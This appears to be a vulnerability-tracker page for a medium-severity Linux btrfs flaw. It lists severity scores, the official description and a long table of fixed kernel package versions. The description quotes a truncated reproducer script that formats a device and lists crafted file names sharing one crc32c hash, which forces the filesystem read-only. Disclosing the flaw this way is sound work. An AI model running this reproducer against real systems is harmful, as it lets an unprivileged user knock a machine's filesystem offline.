Log in Start free

Vulnerability · Published May 8, 2026 · Assigned by Linux

CVE-2026-43360btrfs: fix transaction abort on file creation due to name hash collision

Medium 5.5

In plain English

A medium-severity security flaw in Linux from Linux. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 0.2% (higher than 6% of all known vulnerabilities). Fixed versions are available - upgrade the affected package.

Severity (CVSS NVD)5.5Medium
Exploit odds (30 days)0.2%top 94.5% of all CVEs
Exploited in the wildNo reportsnot in CISA KEV
Attack toolingNoneno public tooling known

Official description

In the Linux kernel, the following vulnerability has been resolved: btrfs: fix transaction abort on file creation due to name hash collision If we attempt to create several files with names that result in the same hash, we have to pack them in same dir item and that has a limit inherent to the leaf size. However if we reach that limit, we trigger a transaction abort and turns the filesystem into RO mode. This allows for a malicious user to disrupt a system, without the need to have administration privileges/capabilities. Reproducer: $ cat exploit-hash-collisions.sh #!/bin/bash DEV=/dev/sdi MNT=/mnt/sdi # Use smallest node size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT # List of names that result in the same crc32c hash for btrfs. declare -a names=( 'foobar' '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC' 'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z' 'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4' 'ET:vk@rFU4tsvMB0$C_p=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:' 'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38fUcNGOWvE@Mz6WBeDH_VooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7I_eOsByOkBOO' 'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us' 'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV5vz3IiZaPmKuLYO03-6asI9lJ_j4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%_eujl%WPd4U2BI7qooOSr85J-C2V$LfY' 'NcRfDfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAb_F%n6GAGC7fT2JFFn:c35X-3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO' 'Oj42AQAEzRoTxa5OuSKIr=A_lwGMy132v4g3Pdq1GvUG9874YseIFQ6QU' 'Ono7avN5GjC:_6dBJ_' 'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtU_cfW2:%2_am' 'WiFnuTEhAG9FEC6zopQmj-A-$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4L_XBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k' 'XKyH=OsOAF3p%uziGF_ZVr$ivrvhVgD@1u%5RtrV-gl_vqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2' 'd3uUR6OFEwZr%ns1XH_@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a_43xBywYAP%r$SPZi%zDg%ql-KvkdUCtF9OLaQlxmd' 'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-Ivax2Go_GQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm' 'evqk743Y@dvZAiG5J05L_ROFV@$2%rVWJ2%3nxV72-W7$e$-SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$_2rA9mKZ' 'gkgUtnihWXsZQTEkrMAWIxir09k3t7jk_IK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPO_ppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%Xx9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky' 'hNgsG_8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrV_WVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS' 'isA7JVzN12xCxVPJZ_qoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz' 'kiJ_fgcdZFDiOptjgH5PN9-PSyLO4fbk_:u5_2tz35lV_iXiJ6cx7pwjTtKy-XGaQ5IefmpJ4N_ZqGsqCsKuqOOBgf9LkUdffHet@Wu' 'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pg_b6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYr_qrB49i=pA--@WqWLIuX7o1S_SfS@2FSiUZN' 'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4=' 'uwGl2s-fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAYbnVn' 'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C' 'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW' '8-HCSgH5B%K7P8_jaVtQhBXpBk:pE-$P7ts58U0J@iR9YZntMPl7j$s62yAJO@_9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc' 'YPPh:IFt2mtR6XWSmjHptXL_hbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA_2MBwZ8Dr4=R1D%7-mC ---truncated---

Affected packages & fixed versions

EcosystemPackageFixed inAdvisory
Debian:12linux6.1.170-1DEBIAN-CVE-2026-43360
Debian:13linux6.12.85-1DEBIAN-CVE-2026-43360
Debian:14linux6.19.10-1DEBIAN-CVE-2026-43360
Ubuntu:24.04:LTSlinux6.8.0-136.136UBUNTU-CVE-2026-43360
Ubuntu:25.10linuxno fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-allwinner-5.19no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-aws6.8.0-1061.64UBUNTU-CVE-2026-43360
Ubuntu:25.10linux-awsno fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-aws-5.19no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-aws-6.14no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-aws-6.17no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-aws-6.2no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-aws-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-aws-6.86.8.0-1061.64~22.04.1UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-azure6.8.0-1063.71UBUNTU-CVE-2026-43360
Ubuntu:25.10linux-azureno fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-azure-5.19no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-azure-6.11no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-azure-6.14no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-azure-6.17no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-azure-6.2no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-azure-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-azure-6.86.8.0-1063.71~22.04.1UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-azure-fde6.8.0-1062.69UBUNTU-CVE-2026-43360
Ubuntu:25.10linux-azure-fdeno fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-azure-fde-5.19no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-azure-fde-6.14no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-azure-fde-6.2no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-azure-fde-6.86.8.0-1062.69~22.04.1UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-azure-nvidiano fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-azure-nvidia-6.14no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-gcp6.8.0-1064.72UBUNTU-CVE-2026-43360
Ubuntu:25.10linux-gcpno fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-gcp-5.19no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-gcp-6.11no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-gcp-6.14no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-gcp-6.17no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-gcp-6.2no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-gcp-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-gcp-6.86.8.0-1064.72~22.04.1UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-gke6.8.0-1059.67UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-gkeop6.8.0-1046.50UBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-hwe-5.19no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-hwe-6.11no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-hwe-6.14no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-hwe-6.17no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-hwe-6.2no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-hwe-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-hwe-6.86.8.0-136.136~22.04.1UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-ibm6.8.0-1061.62UBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-ibm-6.86.8.0-1061.62~22.04.1UBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-intel-iot-realtimeno fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-lowlatency6.8.0-136.136.2UBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-lowlatency-hwe-5.19no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-lowlatency-hwe-6.11no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-lowlatency-hwe-6.2no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-lowlatency-hwe-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-lowlatency-hwe-6.86.8.0-136.136.2~22.04.1UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-nvidia6.8.0-1059.62UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-nvidia-6.11no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-nvidia-6.17no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-nvidia-6.2no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-nvidia-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-nvidia-6.86.8.0-1059.62~22.04.1UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-nvidia-lowlatency6.8.0-1059.62.1UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-nvidia-tegra6.8.0-1030.31UBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-oem-5.17no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-oem-6.0no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-oem-6.1no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-oem-6.11no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-oem-6.14no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-oem-6.17no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-oem-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-oem-6.8no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-oracle6.8.0-1058.61UBUNTU-CVE-2026-43360
Ubuntu:25.10linux-oracleno fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-oracle-6.14no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-oracle-6.17no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-oracle-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-oracle-6.86.8.0-1058.61~22.04.1UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-raspi6.8.0-1061.65UBUNTU-CVE-2026-43360
Ubuntu:25.10linux-raspino fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-raspi-realtimeno fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-realtimeno fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-realtimeno fix listedUBUNTU-CVE-2026-43360
Ubuntu:25.10linux-realtimeno fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-riscvno fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-riscvno fix listedUBUNTU-CVE-2026-43360
Ubuntu:25.10linux-riscvno fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-riscv-5.19no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-riscv-6.14no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-riscv-6.17no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-riscv-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-riscv-6.86.8.0-136.136~22.04.3UBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-starfive-5.19no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-starfive-6.2no fix listedUBUNTU-CVE-2026-43360
Ubuntu:22.04:LTSlinux-starfive-6.5no fix listedUBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-vmware6.8.0-1008.8UBUNTU-CVE-2026-43360
Ubuntu:24.04:LTSlinux-xilinx6.8.0-1033.34UBUNTU-CVE-2026-43360

Affected products (as reported)

VendorProductVersions
Linux Linux caae78e032343df525b8d05c58b462827f10b2a3 – before 36947b5200b89bbe3a63629c12d4b31c84c0af9fcaae78e032343df525b8d05c58b462827f10b2a3 – before 64ad49597d14c495ab8b7933bfefc83936a598e4caae78e032343df525b8d05c58b462827f10b2a3 – before 5e2ea10b800d1bbb95e0c01a83f4f8119ac5d688caae78e032343df525b8d05c58b462827f10b2a3 – before 9273175bf16c83f3ec93aa242d78c9b5db452d4dcaae78e032343df525b8d05c58b462827f10b2a3 – before 0625e564290450c1921b115fc3d9abef74e055bdcaae78e032343df525b8d05c58b462827f10b2a3 – before 2d1ababdedd4ba38867c2500eb7f95af5ddeeef7
Linux Linux 5.19

References